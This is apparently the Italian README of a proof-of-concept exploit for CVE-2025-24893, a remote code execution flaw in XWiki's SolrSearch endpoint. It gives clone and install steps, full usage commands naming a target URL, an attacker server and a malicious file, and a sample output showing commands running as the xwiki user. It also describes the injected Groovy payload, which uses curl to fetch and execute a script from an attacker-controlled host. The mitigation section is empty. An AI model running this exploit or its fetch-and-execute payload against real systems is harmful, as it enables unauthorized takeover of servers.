
PoC per CVE-2025-24893
Questo repository contiene un Proof of Concept (PoC) per l'exploit della vulnerabilità di Esecuzione Remota di Codice (RCE) su XWiki identificata come CVE-2025-24893. La vulnerabilità permette a un attaccante di eseguire codice arbitrario su un'istanza XWiki target sfruttando una richiesta manipolata all'endpoint SolrSearch. Questo script supporta target HTTP e HTTPS.
⚠️ Dichiarazione di non responsabilità: Questo PoC è inteso esclusivamente a scopo educativo e di ricerca. L'uso non autorizzato di questo codice contro sistemi senza permesso esplicito è illegale e non etico. Ottenere sempre l'autorizzazione appropriata prima di testare qualsiasi sistema.
La vulnerabilità deriva da una gestione impropria dell'input utente nell'endpoint SolrSearch, consentendo l'iniezione di codice Groovy tramite un payload appositamente creato. Questo PoC dimostra come un attaccante possa sfruttarla per eseguire comandi arbitrari sul server target.
requests, , , , argparseurllib.parserehtmlgit clone https://github.com/570RMBR3AK3R/xwiki-cve-2025-24893-poc.git
pip install requests
Lo script invia una richiesta HTTP/HTTPS manipolata all'istanza XWiki target, iniettando un payload Groovy che esegue un comando curl per recuperare ed eseguire un file da un server controllato dall'attaccante.
Eseguire lo script con il seguente comando:
python3 exploit.py --url <url_target> --server <server_attaccante> --file <file_maligno> [--no-verify]
--url: L'URL di base dell'istanza XWiki target (es., http://target o https://target).--server: L'IP o hostname del server dell'attaccante, inclusa la porta se necessario (es., 192.168.1.100:8080). Supporta sia HTTP che HTTPS.--file: Il nome del file sul server dell'attaccante contenente il codice da eseguire (es., exploit.sh).--no-verify: Flag opzionale per disabilitare la verifica SSL per target HTTPS (usare con cautela, solo per test).python3 exploit.py --url http(s)://xwiki-vulnerabile.com --server http(s)://192.168.1.100:8080 --file exploit.sh
Per bypassare la verifica SSL (es., per certificati autofirmati):
python3 exploit.py --url https://xwiki-vulnerabile.com --server http(s)://192.168.1.100:8080 --file exploit.sh --no-verify
Questo farà:
curl.exploit.sh) dal server dell'attaccante (http(s)://192.168.1.100:8080).Lo script estrae la risposta dal target, rimuove i tag HTML (es., <br/>, <del>) e converte le entità HTML in testo semplice per una migliore leggibilità. L'output pulito viene stampato sulla console.
python3 exploit.py --url http://<redatto> --server http://<redatto>:8080 --file exploit.sh
uid=997(xwiki) gid=997(xwiki) groups=997(xwiki)
Per proteggersi da questa vulnerabilità:
Questo progetto è concesso in licenza con la Licenza MIT. Vedere il file LICENSE per i dettagli.